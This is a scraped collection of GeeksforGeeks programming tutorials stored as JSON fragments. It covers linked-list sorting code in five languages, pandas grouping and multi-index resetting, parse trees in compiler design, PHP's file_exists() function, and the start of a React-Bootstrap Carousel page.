"code": "// C Program to sort a linked list 0s, 1s// or 2s by changing links#include <stdio.h>#include <stdlib.h> /* Link list node */typedef struct Node { int data; struct Node* next;} Node; Node* newNode(int data); // Sort a linked list of 0s, 1s and 2s// by changing pointers.Node* sortList(Node* head){ if (!head || !(head->next)) return head; // Create three dummy nodes to point to beginning of // three linked lists. These dummy nodes are created to // avoid many null checks. Node* zeroD = newNode(0); Node* oneD = newNode(0); Node* twoD = newNode(0); // Initialize current pointers for three // lists and whole list. Node *zero = zeroD, *one = oneD, *two = twoD; // Traverse list Node* curr = head; while (curr) { if (curr->data == 0) { zero->next = curr; zero = zero->next; } else if (curr->data == 1) { one->next = curr; one = one->next; } else { two->next = curr; two = two->next; } curr = curr->next; } // Attach three lists zero->next = (oneD->next) ? (oneD->next) : (twoD->next); one->next = twoD->next; two->next = NULL; // Updated head head = zeroD->next; // Delete dummy nodes free(zeroD); free(oneD); free(twoD); return head;} // Function to create and return a nodeNode* newNode(int data){ // allocating space Node* newNode = (Node*)malloc(sizeof(Node)); // inserting the required data newNode->data = data; newNode->next = NULL;} /* Function to print linked list */void printList(struct Node* node){ while (node != NULL) { printf(\"%d \", node->data); node = node->next; } printf(\"\\n\");} /* Driver program to test above function*/int main(void){ // Creating the list 1->2->4->5 Node* head = newNode(1); head->next = newNode(2); head->next->next = newNode(0); head->next->next->next = newNode(1); printf(\"Linked List Before Sorting\\n\"); printList(head); head = sortList(head); printf(\"Linked List After Sorting\\n\"); printList(head); return 0;} // This code is contributed by Aditya Kumar (adityakumar129)",
"e": 5554,
"s": 3354,
"text": null
},
{
"code": "// Java Program to sort a linked list 0s, 1s// or 2s by changing linkspublic class Sort012 { // Sort a linked list of 0s, 1s and 2s // by changing pointers. public static Node sortList(Node head) { if(head==null || head.next==null) { return head; } // Create three dummy nodes to point to // beginning of three linked lists. These // dummy nodes are created to avoid many // null checks. Node zeroD = new Node(0); Node oneD = new Node(0); Node twoD = new Node(0); // Initialize current pointers for three // lists and whole list. Node zero = zeroD, one = oneD, two = twoD; // Traverse list Node curr = head; while (curr!=null) { if (curr.data == 0) { zero.next = curr; zero = zero.next; curr = curr.next; } else if (curr.data == 1) { one.next = curr; one = one.next; curr = curr.next; } else { two.next = curr; two = two.next; curr = curr.next; } } // Attach three lists zero.next = (oneD.next!=null)? (oneD.next) : (twoD.next); one.next = twoD.next; two.next = null; // Updated head head = zeroD.next; return head; } // function to create and return a node public static Node newNode(int data) { // allocating space Node newNode = new Node(data); newNode.next = null; return newNode; } /* Function to print linked list */ public static void printList(Node node) { while (node != null) { System.out.print(node.data+\" \"); node = node.next; } } public static void main(String args[]) { Node head = new Node(1); head.next = new Node(2); head.next.next = new Node(0); head.next.next.next = new Node(1); System.out.println(\"Linked List Before Sorting\"); printList(head); head = sortList(head); System.out.println(\"\\nLinked List After Sorting\"); printList(head); }} class Node{ int data; Node next; Node(int data) { this.data=data; }}//This code is contributed by Gaurav Tiwari",
"e": 7955,
"s": 5554,
"text": null
},
{
"code": "# Python3 Program to sort a linked list# 0s, 1s or 2s by changing linksimport math # Link list nodeclass Node: def __init__(self, data): self.data = data self.next = None #Node* newNode( data) # Sort a linked list of 0s, 1s and 2s# by changing pointers.def sortList(head): if (head == None or head.next == None): return head # Create three dummy nodes to point to # beginning of three linked lists. # These dummy nodes are created to # avoid many None checks. zeroD = Node(0) oneD = Node(0) twoD = Node(0) # Initialize current pointers for three # lists and whole list. zero = zeroD one = oneD two = twoD # Traverse list curr = head while (curr): if (curr.data == 0): zero.next = curr zero = zero.next curr = curr.next elif(curr.data == 1): one.next = curr one = one.next curr = curr.next else: two.next = curr two = two.next curr = curr.next # Attach three lists zero.next = (oneD.next) if (oneD.next ) \\ else (twoD.next) one.next = twoD.next two.next = None # Updated head head = zeroD.next # Delete dummy nodes return head # function to create and return a nodedef newNode(data): # allocating space newNode = Node(data) # inserting the required data newNode.data = data newNode.next = None return newNode # Function to print linked listdef printList(node): while (node != None): print(node.data, end = \" \") node = node.next # Driver Codeif __name__=='__main__': # Creating the list 1.2.4.5 head = newNode(1) head.next = newNode(2) head.next.next = newNode(0) head.next.next.next = newNode(1) print(\"Linked List Before Sorting\") printList(head) head = sortList(head) print(\"\\nLinked List After Sorting\") printList(head) # This code is contributed by Srathore",
"e": 9963,
"s": 7955,
"text": null
},
{
"code": "// C# Program to sort a linked list 0s, 1s// or 2s by changing linksusing System; public class Sort012{ // Sort a linked list of 0s, 1s and 2s // by changing pointers. public static Node sortList(Node head) { if(head == null || head.next == null) { return head; } // Create three dummy nodes to point to // beginning of three linked lists. These // dummy nodes are created to avoid many // null checks. Node zeroD = new Node(0); Node oneD = new Node(0); Node twoD = new Node(0); // Initialize current pointers for three // lists and whole list. Node zero = zeroD, one = oneD, two = twoD; // Traverse list Node curr = head; while (curr != null) { if (curr.data == 0) { zero.next = curr; zero = zero.next; curr = curr.next; } else if (curr.data == 1) { one.next = curr; one = one.next; curr = curr.next; } else { two.next = curr; two = two.next; curr = curr.next; } } // Attach three lists zero.next = (oneD.next != null)? (oneD.next) : (twoD.next); one.next = twoD.next; two.next = null; // Updated head head = zeroD.next; return head; } // function to create and return a node public static Node newNode(int data) { // allocating space Node newNode = new Node(data); newNode.next = null; return newNode; } /* Function to print linked list */ public static void printList(Node node) { while (node != null) { Console.Write(node.data + \" \"); node = node.next; } } // Driver code public static void Main() { Node head = new Node(1); head.next = new Node(2); head.next.next = new Node(0); head.next.next.next = new Node(1); Console.WriteLine(\"Linked List Before Sorting\"); printList(head); head = sortList(head); Console.WriteLine(\"\\nLinked List After Sorting\"); printList(head); }} public class Node{ public int data; public Node next; public Node(int data) { this.data = data; }} // This code is contributed by PrinciRaj1992",
"e": 12439,
"s": 9963,
"text": null
},
{
"code": "<script> // JavaScript Program to sort a// linked list 0s, 1s// or 2s by changing linksclass Node { constructor(val) { this.data = val; this.next = null; }} // Sort a linked list of 0s, 1s and 2s // by changing pointers. function sortList(head) { if (head == null || head.next == null) { return head; } // Create three dummy nodes to point to // beginning of three linked lists. These // dummy nodes are created to afunction many // null checks. var zeroD = new Node(0); var oneD = new Node(0); var twoD = new Node(0); // Initialize current pointers for three // lists and whole list. var zero = zeroD, one = oneD, two = twoD; // Traverse list var curr = head; while (curr != null) { if (curr.data == 0) { zero.next = curr; zero = zero.next; curr = curr.next; } else if (curr.data == 1) { one.next = curr; one = one.next; curr = curr.next; } else { two.next = curr; two = two.next; curr = curr.next; } } // Attach three lists zero.next = (oneD.next != null) ? (oneD.next) : (twoD.next); one.next = twoD.next; two.next = null; // Updated head head = zeroD.next; return head; } // function to create and return a node function newNode(data) { // allocating space var newNode = new Node(data); newNode.next = null; return newNode; } /* Function to print linked list */ function printList(node) { while (node != null) { document.write(node.data + \" \"); node = node.next; } } var head = new Node(1); head.next = new Node(2); head.next.next = new Node(0); head.next.next.next = new Node(1); document.write( \"Linked List Before Sorting<br/>\" ); printList(head); head = sortList(head); document.write( \"<br/>Linked List After Sorting<br/>\" ); printList(head); // This code contributed by gauravrajput1 </script>",
"e": 14722,
"s": 12439,
"text": null
},
{
"code": null,
"e": 14732,
"s": 14722,
"text": "Output : "
},
{
"code": null,
"e": 14811,
"s": 14732,
"text": "Linked List Before Sorting\n1 2 0 1 \nLinked List After Sorting\n0 1 1 2 "
},
{
"code": null,
"e": 14833,
"s": 14811,
"text": "Complexity Analysis: "
},
{
"code": null,
"e": 14949,
"s": 14833,
"text": "Time Complexity: O(n) where n is a number of nodes in linked list. Only one traversal of the linked list is needed."
},
{
"code": null,
"e": 15003,
"s": 14949,
"text": "Auxiliary Space: O(1). As no extra space is required."
},
{
"code": null,
"e": 15076,
"s": 15003,
"text": "Thanks to Musarrat_123 for suggesting above solution in a comment here. "
},
{
"code": null,
"e": 15505,
"s": 15076,
"text": "This article is contributed by Bhaskar Kumar Mishra. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. "
},
{
"code": null,
"e": 15520,
"s": 15505,
"text": "_Gaurav_Tiwari"
},
{
"code": null,
"e": 15534,
"s": 15520,
"text": "princiraj1992"
},
{
"code": null,
"e": 15549,
"s": 15534,
"text": "sapnasingh4991"
},
{
"code": null,
"e": 15562,
"s": 15549,
"text": "Akanksha_Rai"
},
{
"code": null,
"e": 15573,
"s": 15562,
"text": "nidhi_biet"
},
{
"code": null,
"e": 15584,
"s": 15573,
"text": "andrew1234"
},
{
"code": null,
"e": 15595,
"s": 15584,
"text": "aditya1050"
},
{
"code": null,
"e": 15609,
"s": 15595,
"text": "GauravRajput1"
},
{
"code": null,
"e": 15625,
"s": 15609,
"text": "simranarora5sos"
},
{
"code": null,
"e": 15642,
"s": 15625,
"text": "surinderdawra388"
},
{
"code": null,
"e": 15657,
"s": 15642,
"text": "adityakumar129"
},
{
"code": null,
"e": 15664,
"s": 15657,
"text": "Amazon"
},
{
"code": null,
"e": 15684,
"s": 15664,
"text": "Linked-List-Sorting"
},
{
"code": null,
"e": 15695,
"s": 15684,
"text": "MakeMyTrip"
},
{
"code": null,
"e": 15705,
"s": 15695,
"text": "Microsoft"
},
{
"code": null,
"e": 15717,
"s": 15705,
"text": "Linked List"
},
{
"code": null,
"e": 15725,
"s": 15717,
"text": "Sorting"
},
{
"code": null,
"e": 15732,
"s": 15725,
"text": "Amazon"
},
{
"code": null,
"e": 15742,
"s": 15732,
"text": "Microsoft"
},
{
"code": null,
"e": 15753,
"s": 15742,
"text": "MakeMyTrip"
},
{
"code": null,
"e": 15765,
"s": 15753,
"text": "Linked List"
},
{
"code": null,
"e": 15773,
"s": 15765,
"text": "Sorting"
}
] |
Grouping Categorical Variables in Pandas Dataframe
|
17 Aug, 2020
Firstly, we have to understand what are Categorical variables in pandas. Categorical are the datatype available in pandas library of python. A categorical variable takes only a fixed category (usually fixed number) of values. Some examples of Categorical variables are gender, blood group, language etc. One main contrast with these variables are that no mathematical operations can be performed with these variables.
A dataframe can be created in pandas consisting of categorical values using Dataframe constructor and specifying dtype = ”category”.
Python3
# importing pandas as pd import pandas as pd # Create the dataframe # with categorical variable df = pd.DataFrame({'A': ['a', 'b', 'c', 'c', 'a', 'b'], 'B': [0, 1, 1, 0, 1, 0]}, dtype = "category")# show the data typesdf.dtypes
Output:
Here one important thing is that categories generated in each column are not same, conversion is done column by column as we can see here:
Output:
Now, in some works, we need to group our categorical data. This is done using the groupby() method given in pandas. It returns all the combinations of groupby columns. Along with groupyby we have to pass an aggregate function with it to ensure that on what basis we are going to group our variables. Some aggregate function are mean(), sum(), count() etc.
Now applying our groupby() along with count() function.
Python3
# initial stateprint(df) # counting number of each categoryprint(df.groupby(['A']).count().reset_index())
Output:
dataframe
Group by column ‘A’
Now, one more example with mean() function. Here column A is converted to categorical and all other are numerical and mean is calculated according to categories of column A and column B.
Python3
# importing pandas as pd import pandas as pd # Create the dataframe df = pd.DataFrame({'A': ['a', 'b', 'c', 'c', 'a', 'b'], 'B': [0, 1, 1, 0, 1, 0], 'C':[7, 8, 9, 5, 3, 6]}) # change tha datatype of # column 'A' into category# data typedf['A'] = df['A'].astype('category') # initial stateprint(df) # calculating mean with # all combinations of A and Bprint(df.groupby(['A','B']).mean().reset_index())
Output:
Dataframe
Group by both column ‘A’ and ‘B’
Other aggregate functions are also implemented in the same way using groupby().
Python pandas-dataFrame
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n17 Aug, 2020"
},
{
"code": null,
"e": 446,
"s": 28,
"text": "Firstly, we have to understand what are Categorical variables in pandas. Categorical are the datatype available in pandas library of python. A categorical variable takes only a fixed category (usually fixed number) of values. Some examples of Categorical variables are gender, blood group, language etc. One main contrast with these variables are that no mathematical operations can be performed with these variables."
},
{
"code": null,
"e": 580,
"s": 446,
"text": "A dataframe can be created in pandas consisting of categorical values using Dataframe constructor and specifying dtype = ”category”. "
},
{
"code": null,
"e": 588,
"s": 580,
"text": "Python3"
},
{
"code": "# importing pandas as pd import pandas as pd # Create the dataframe # with categorical variable df = pd.DataFrame({'A': ['a', 'b', 'c', 'c', 'a', 'b'], 'B': [0, 1, 1, 0, 1, 0]}, dtype = \"category\")# show the data typesdf.dtypes",
"e": 877,
"s": 588,
"text": null
},
{
"code": null,
"e": 886,
"s": 877,
"text": "Output: "
},
{
"code": null,
"e": 1025,
"s": 886,
"text": "Here one important thing is that categories generated in each column are not same, conversion is done column by column as we can see here:"
},
{
"code": null,
"e": 1033,
"s": 1025,
"text": "Output:"
},
{
"code": null,
"e": 1389,
"s": 1033,
"text": "Now, in some works, we need to group our categorical data. This is done using the groupby() method given in pandas. It returns all the combinations of groupby columns. Along with groupyby we have to pass an aggregate function with it to ensure that on what basis we are going to group our variables. Some aggregate function are mean(), sum(), count() etc."
},
{
"code": null,
"e": 1445,
"s": 1389,
"text": "Now applying our groupby() along with count() function."
},
{
"code": null,
"e": 1453,
"s": 1445,
"text": "Python3"
},
{
"code": "# initial stateprint(df) # counting number of each categoryprint(df.groupby(['A']).count().reset_index())",
"e": 1560,
"s": 1453,
"text": null
},
{
"code": null,
"e": 1568,
"s": 1560,
"text": "Output:"
},
{
"code": null,
"e": 1578,
"s": 1568,
"text": "dataframe"
},
{
"code": null,
"e": 1598,
"s": 1578,
"text": "Group by column ‘A’"
},
{
"code": null,
"e": 1785,
"s": 1598,
"text": "Now, one more example with mean() function. Here column A is converted to categorical and all other are numerical and mean is calculated according to categories of column A and column B."
},
{
"code": null,
"e": 1793,
"s": 1785,
"text": "Python3"
},
{
"code": "# importing pandas as pd import pandas as pd # Create the dataframe df = pd.DataFrame({'A': ['a', 'b', 'c', 'c', 'a', 'b'], 'B': [0, 1, 1, 0, 1, 0], 'C':[7, 8, 9, 5, 3, 6]}) # change tha datatype of # column 'A' into category# data typedf['A'] = df['A'].astype('category') # initial stateprint(df) # calculating mean with # all combinations of A and Bprint(df.groupby(['A','B']).mean().reset_index())",
"e": 2505,
"s": 1793,
"text": null
},
{
"code": null,
"e": 2516,
"s": 2508,
"text": "Output:"
},
{
"code": null,
"e": 2526,
"s": 2516,
"text": "Dataframe"
},
{
"code": null,
"e": 2559,
"s": 2526,
"text": "Group by both column ‘A’ and ‘B’"
},
{
"code": null,
"e": 2639,
"s": 2559,
"text": "Other aggregate functions are also implemented in the same way using groupby()."
},
{
"code": null,
"e": 2663,
"s": 2639,
"text": "Python pandas-dataFrame"
},
{
"code": null,
"e": 2677,
"s": 2663,
"text": "Python-pandas"
},
{
"code": null,
"e": 2684,
"s": 2677,
"text": "Python"
}
] |
Parse Tree in Compiler Design
|
14 Jul, 2022
Here we will study the concept and uses of Parse Tree in Compiler Design. First, let us check out two terms :
Parse : It means to resolve (a sentence) into its component parts and describe their syntactic roles or simply it is an act of parsing a string or a text.
Tree: A tree may be a widely used abstract data type that simulates a hierarchical tree structure, with a root value and sub-trees of youngsters with a parent node, represented as a group of linked nodes.
Parse Tree:
Parse tree is the hierarchical representation of terminals or non-terminals.
These symbols (terminals or non-terminals) represent the derivation of the grammar to yield input strings.
In parsing, the string springs using the beginning symbol.
The starting symbol of the grammar must be used as the root of the Parse Tree.
Leaves of parse tree represent terminals.
Each interior node represents productions of a grammar.
Rules to Draw a Parse Tree:
All leaf nodes need to be terminals.All interior nodes need to be non-terminals.In-order traversal gives the original input string.
All leaf nodes need to be terminals.
All interior nodes need to be non-terminals.
In-order traversal gives the original input string.
Example 1: Let us take an example of Grammar (Production Rules).
S -> sAB
A -> a
B -> b
The input string is “sab”, then the Parse Tree is:
Example-2: Let us take another example of Grammar (Production Rules).
S -> AB
A -> c/aA
B -> d/bB
The input string is “acbd”, then the Parse Tree is as follows:
Uses of Parse Tree:
It helps in making syntax analysis by reflecting the syntax of the input language.
It uses an in-memory representation of the input with a structure that conforms to the grammar.
The advantages of using parse trees rather than semantic actions: you’ll make multiple passes over the info without having to re-parse the input.
dongrimohammedafreed
Compiler Design
GATE CS
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 52,
"s": 24,
"text": "\n14 Jul, 2022"
},
{
"code": null,
"e": 162,
"s": 52,
"text": "Here we will study the concept and uses of Parse Tree in Compiler Design. First, let us check out two terms :"
},
{
"code": null,
"e": 317,
"s": 162,
"text": "Parse : It means to resolve (a sentence) into its component parts and describe their syntactic roles or simply it is an act of parsing a string or a text."
},
{
"code": null,
"e": 522,
"s": 317,
"text": "Tree: A tree may be a widely used abstract data type that simulates a hierarchical tree structure, with a root value and sub-trees of youngsters with a parent node, represented as a group of linked nodes."
},
{
"code": null,
"e": 534,
"s": 522,
"text": "Parse Tree:"
},
{
"code": null,
"e": 611,
"s": 534,
"text": "Parse tree is the hierarchical representation of terminals or non-terminals."
},
{
"code": null,
"e": 718,
"s": 611,
"text": "These symbols (terminals or non-terminals) represent the derivation of the grammar to yield input strings."
},
{
"code": null,
"e": 777,
"s": 718,
"text": "In parsing, the string springs using the beginning symbol."
},
{
"code": null,
"e": 856,
"s": 777,
"text": "The starting symbol of the grammar must be used as the root of the Parse Tree."
},
{
"code": null,
"e": 898,
"s": 856,
"text": "Leaves of parse tree represent terminals."
},
{
"code": null,
"e": 954,
"s": 898,
"text": "Each interior node represents productions of a grammar."
},
{
"code": null,
"e": 982,
"s": 954,
"text": "Rules to Draw a Parse Tree:"
},
{
"code": null,
"e": 1114,
"s": 982,
"text": "All leaf nodes need to be terminals.All interior nodes need to be non-terminals.In-order traversal gives the original input string."
},
{
"code": null,
"e": 1151,
"s": 1114,
"text": "All leaf nodes need to be terminals."
},
{
"code": null,
"e": 1196,
"s": 1151,
"text": "All interior nodes need to be non-terminals."
},
{
"code": null,
"e": 1248,
"s": 1196,
"text": "In-order traversal gives the original input string."
},
{
"code": null,
"e": 1313,
"s": 1248,
"text": "Example 1: Let us take an example of Grammar (Production Rules)."
},
{
"code": null,
"e": 1336,
"s": 1313,
"text": "S -> sAB\nA -> a\nB -> b"
},
{
"code": null,
"e": 1387,
"s": 1336,
"text": "The input string is “sab”, then the Parse Tree is:"
},
{
"code": null,
"e": 1460,
"s": 1390,
"text": "Example-2: Let us take another example of Grammar (Production Rules)."
},
{
"code": null,
"e": 1488,
"s": 1460,
"text": "S -> AB\nA -> c/aA\nB -> d/bB"
},
{
"code": null,
"e": 1552,
"s": 1488,
"text": "The input string is “acbd”, then the Parse Tree is as follows: "
},
{
"code": null,
"e": 1574,
"s": 1554,
"text": "Uses of Parse Tree:"
},
{
"code": null,
"e": 1657,
"s": 1574,
"text": "It helps in making syntax analysis by reflecting the syntax of the input language."
},
{
"code": null,
"e": 1753,
"s": 1657,
"text": "It uses an in-memory representation of the input with a structure that conforms to the grammar."
},
{
"code": null,
"e": 1899,
"s": 1753,
"text": "The advantages of using parse trees rather than semantic actions: you’ll make multiple passes over the info without having to re-parse the input."
},
{
"code": null,
"e": 1920,
"s": 1899,
"text": "dongrimohammedafreed"
},
{
"code": null,
"e": 1936,
"s": 1920,
"text": "Compiler Design"
},
{
"code": null,
"e": 1944,
"s": 1936,
"text": "GATE CS"
}
] |
PHP | file_exists( ) Function
|
31 Jul, 2021
The file_exists() function in PHP is an inbuilt function which is used to check whether a file or directory exists or not.
The path of the file or directory you want to check is passed as a parameter to the file_exists() function which returns True on success and False on failure.
Syntax:
file_exists($path)
Parameters: The file_exists() function in PHP accepts only one parameter $path. It specifies the path of the file or directory you want to check.
Return Value: It returns True on success and False on failure.
Errors And Exception:
The file_exists() function returns False if the path specified points to non-existent files.For files larger than 2gb, some of the filesystem functions may give unexpected results since PHP’s integer type is signed and many platforms use 32bit integers.
The file_exists() function returns False if the path specified points to non-existent files.
For files larger than 2gb, some of the filesystem functions may give unexpected results since PHP’s integer type is signed and many platforms use 32bit integers.
Examples:
Input : echo file_exists('/user01/work/gfg.txt');
Output : 1
Input : $file_pointer = '/user01/work/gfg.txt';
if (file_exists($file_pointer)) {
echo "The file $file_pointer exists";
}else {
echo "The file $file_pointer does
not exists";
}
Output : 1
Below programs illustrate the file_exists() function.
Program 1:
<?php // checking whether file exists or notecho file_exists('/user01/work/gfg.txt'); ?>
Output:
1
Program 2:
<?php // checking whether file exists or not$file_pointer = '/user01/work/gfg.txt'; if (file_exists($file_pointer)) { echo "The file $file_pointer exists";}else { echo "The file $file_pointer does not exists";} ?>
Output:
1
Reference:http://php.net/manual/en/function.file-exists.php
PHP is a server-side scripting language designed specifically for web development. You can learn PHP from the ground up by following this PHP Tutorial and PHP Examples.
PHP-file-handling
PHP
Web Technologies
PHP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to execute PHP code using command line ?
PHP in_array() Function
How to delete an array element based on key in PHP?
How to Insert Form Data into Database using PHP ?
How to convert array to string in PHP ?
Installation of Node.js on Linux
Top 10 Projects For Beginners To Practice HTML and CSS Skills
Difference between var, let and const keywords in JavaScript
How to insert spaces/tabs in text using HTML/CSS?
How to fetch data from an API in ReactJS ?
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n31 Jul, 2021"
},
{
"code": null,
"e": 151,
"s": 28,
"text": "The file_exists() function in PHP is an inbuilt function which is used to check whether a file or directory exists or not."
},
{
"code": null,
"e": 310,
"s": 151,
"text": "The path of the file or directory you want to check is passed as a parameter to the file_exists() function which returns True on success and False on failure."
},
{
"code": null,
"e": 318,
"s": 310,
"text": "Syntax:"
},
{
"code": null,
"e": 337,
"s": 318,
"text": "file_exists($path)"
},
{
"code": null,
"e": 483,
"s": 337,
"text": "Parameters: The file_exists() function in PHP accepts only one parameter $path. It specifies the path of the file or directory you want to check."
},
{
"code": null,
"e": 546,
"s": 483,
"text": "Return Value: It returns True on success and False on failure."
},
{
"code": null,
"e": 568,
"s": 546,
"text": "Errors And Exception:"
},
{
"code": null,
"e": 822,
"s": 568,
"text": "The file_exists() function returns False if the path specified points to non-existent files.For files larger than 2gb, some of the filesystem functions may give unexpected results since PHP’s integer type is signed and many platforms use 32bit integers."
},
{
"code": null,
"e": 915,
"s": 822,
"text": "The file_exists() function returns False if the path specified points to non-existent files."
},
{
"code": null,
"e": 1077,
"s": 915,
"text": "For files larger than 2gb, some of the filesystem functions may give unexpected results since PHP’s integer type is signed and many platforms use 32bit integers."
},
{
"code": null,
"e": 1087,
"s": 1077,
"text": "Examples:"
},
{
"code": null,
"e": 1422,
"s": 1087,
"text": "Input : echo file_exists('/user01/work/gfg.txt');\nOutput : 1\n\nInput : $file_pointer = '/user01/work/gfg.txt';\n if (file_exists($file_pointer)) {\n echo \"The file $file_pointer exists\";\n }else {\n echo \"The file $file_pointer does \n not exists\";\n }\nOutput : 1\n"
},
{
"code": null,
"e": 1476,
"s": 1422,
"text": "Below programs illustrate the file_exists() function."
},
{
"code": null,
"e": 1487,
"s": 1476,
"text": "Program 1:"
},
{
"code": "<?php // checking whether file exists or notecho file_exists('/user01/work/gfg.txt'); ?>",
"e": 1578,
"s": 1487,
"text": null
},
{
"code": null,
"e": 1586,
"s": 1578,
"text": "Output:"
},
{
"code": null,
"e": 1588,
"s": 1586,
"text": "1"
},
{
"code": null,
"e": 1599,
"s": 1588,
"text": "Program 2:"
},
{
"code": "<?php // checking whether file exists or not$file_pointer = '/user01/work/gfg.txt'; if (file_exists($file_pointer)) { echo \"The file $file_pointer exists\";}else { echo \"The file $file_pointer does not exists\";} ?>",
"e": 1850,
"s": 1599,
"text": null
},
{
"code": null,
"e": 1858,
"s": 1850,
"text": "Output:"
},
{
"code": null,
"e": 1860,
"s": 1858,
"text": "1"
},
{
"code": null,
"e": 1920,
"s": 1860,
"text": "Reference:http://php.net/manual/en/function.file-exists.php"
},
{
"code": null,
"e": 2089,
"s": 1920,
"text": "PHP is a server-side scripting language designed specifically for web development. You can learn PHP from the ground up by following this PHP Tutorial and PHP Examples."
},
{
"code": null,
"e": 2107,
"s": 2089,
"text": "PHP-file-handling"
},
{
"code": null,
"e": 2111,
"s": 2107,
"text": "PHP"
},
{
"code": null,
"e": 2128,
"s": 2111,
"text": "Web Technologies"
},
{
"code": null,
"e": 2132,
"s": 2128,
"text": "PHP"
},
{
"code": null,
"e": 2230,
"s": 2132,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 2275,
"s": 2230,
"text": "How to execute PHP code using command line ?"
},
{
"code": null,
"e": 2299,
"s": 2275,
"text": "PHP in_array() Function"
},
{
"code": null,
"e": 2351,
"s": 2299,
"text": "How to delete an array element based on key in PHP?"
},
{
"code": null,
"e": 2401,
"s": 2351,
"text": "How to Insert Form Data into Database using PHP ?"
},
{
"code": null,
"e": 2441,
"s": 2401,
"text": "How to convert array to string in PHP ?"
},
{
"code": null,
"e": 2474,
"s": 2441,
"text": "Installation of Node.js on Linux"
},
{
"code": null,
"e": 2536,
"s": 2474,
"text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills"
},
{
"code": null,
"e": 2597,
"s": 2536,
"text": "Difference between var, let and const keywords in JavaScript"
},
{
"code": null,
"e": 2647,
"s": 2597,
"text": "How to insert spaces/tabs in text using HTML/CSS?"
}
] |
Turn Pandas Multi-Index into column
|
06 Oct, 2021
Pandas DataFrame is a two-dimensional size-mutable, potentially heterogeneous tabular data structure with labeled axes (rows and columns). A multi-index dataframe has multi-level, or hierarchical indexing. We can easily convert the multi-level index into the column by the reset_index() method.
DataFrame.reset_index() is used to reset the index to default and make the index a column of the dataframe.
Step 1: Creating a multi-index dataframe.
Let’s see an example by making a multi-index dataframe first.
Code:
Python3
import pandas as pd # Creating index for multi-index dataframetuples = [('A', 'a'), ('A', 'b'), ('B', 'a'), ('B', 'b')]index = pd.MultiIndex.from_tuples(tuples) # Value corresponding to the indexdata = [2, 4, 6, 8] # Creating dataframe using 'data' and 'index'df = pd.DataFrame(data = data, index = index, columns = ['value'])print(df)
Output:
Step 2: Converting index into the column.
Here we can see the hierarchical indexing, we are going to convert it into a column using the reset_index() method.
Python3
reset_df = df.reset_index()print(reset_df)
Output:
Here we can see that the index is default now and our multi-index now becomes columns with the default. We can also select which level of multi-index to reset using parameter level.
Code:
Python3
# rest only index 'indx1'reset_indx1 = df.reset_index(level='indx1')print(reset_indx1)
Output:
Here, we can see that only indx1 is reset becomes a column, not both the indices. Also, notice that there is no default index in this case because there is still an index (indx2) left.
sumitgumber28
Picked
Python pandas-dataFrame
Python Pandas-exercise
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n06 Oct, 2021"
},
{
"code": null,
"e": 323,
"s": 28,
"text": "Pandas DataFrame is a two-dimensional size-mutable, potentially heterogeneous tabular data structure with labeled axes (rows and columns). A multi-index dataframe has multi-level, or hierarchical indexing. We can easily convert the multi-level index into the column by the reset_index() method."
},
{
"code": null,
"e": 431,
"s": 323,
"text": "DataFrame.reset_index() is used to reset the index to default and make the index a column of the dataframe."
},
{
"code": null,
"e": 473,
"s": 431,
"text": "Step 1: Creating a multi-index dataframe."
},
{
"code": null,
"e": 535,
"s": 473,
"text": "Let’s see an example by making a multi-index dataframe first."
},
{
"code": null,
"e": 541,
"s": 535,
"text": "Code:"
},
{
"code": null,
"e": 549,
"s": 541,
"text": "Python3"
},
{
"code": "import pandas as pd # Creating index for multi-index dataframetuples = [('A', 'a'), ('A', 'b'), ('B', 'a'), ('B', 'b')]index = pd.MultiIndex.from_tuples(tuples) # Value corresponding to the indexdata = [2, 4, 6, 8] # Creating dataframe using 'data' and 'index'df = pd.DataFrame(data = data, index = index, columns = ['value'])print(df)",
"e": 885,
"s": 549,
"text": null
},
{
"code": null,
"e": 893,
"s": 885,
"text": "Output:"
},
{
"code": null,
"e": 935,
"s": 893,
"text": "Step 2: Converting index into the column."
},
{
"code": null,
"e": 1051,
"s": 935,
"text": "Here we can see the hierarchical indexing, we are going to convert it into a column using the reset_index() method."
},
{
"code": null,
"e": 1059,
"s": 1051,
"text": "Python3"
},
{
"code": "reset_df = df.reset_index()print(reset_df)",
"e": 1102,
"s": 1059,
"text": null
},
{
"code": null,
"e": 1114,
"s": 1106,
"text": "Output:"
},
{
"code": null,
"e": 1300,
"s": 1118,
"text": "Here we can see that the index is default now and our multi-index now becomes columns with the default. We can also select which level of multi-index to reset using parameter level."
},
{
"code": null,
"e": 1308,
"s": 1302,
"text": "Code:"
},
{
"code": null,
"e": 1318,
"s": 1310,
"text": "Python3"
},
{
"code": "# rest only index 'indx1'reset_indx1 = df.reset_index(level='indx1')print(reset_indx1)",
"e": 1405,
"s": 1318,
"text": null
},
{
"code": null,
"e": 1417,
"s": 1409,
"text": "Output:"
},
{
"code": null,
"e": 1606,
"s": 1421,
"text": "Here, we can see that only indx1 is reset becomes a column, not both the indices. Also, notice that there is no default index in this case because there is still an index (indx2) left."
},
{
"code": null,
"e": 1622,
"s": 1608,
"text": "sumitgumber28"
},
{
"code": null,
"e": 1629,
"s": 1622,
"text": "Picked"
},
{
"code": null,
"e": 1653,
"s": 1629,
"text": "Python pandas-dataFrame"
},
{
"code": null,
"e": 1676,
"s": 1653,
"text": "Python Pandas-exercise"
},
{
"code": null,
"e": 1690,
"s": 1676,
"text": "Python-pandas"
},
{
"code": null,
"e": 1697,
"s": 1690,
"text": "Python"
}
] |
React-Bootstrap Carousel Component
|
30 Apr, 2021
React-Bootstrap is a front-end framework that was designed keeping react in mind. Carousel Component provides a way to create a slideshow for our images or text slides with a present full manner in a cyclic way. We can use the following approach in ReactJS to use the react-bootstrap Carousel Component.
Carousel Props:
activeIndex: It is used to control the current active visible slide.
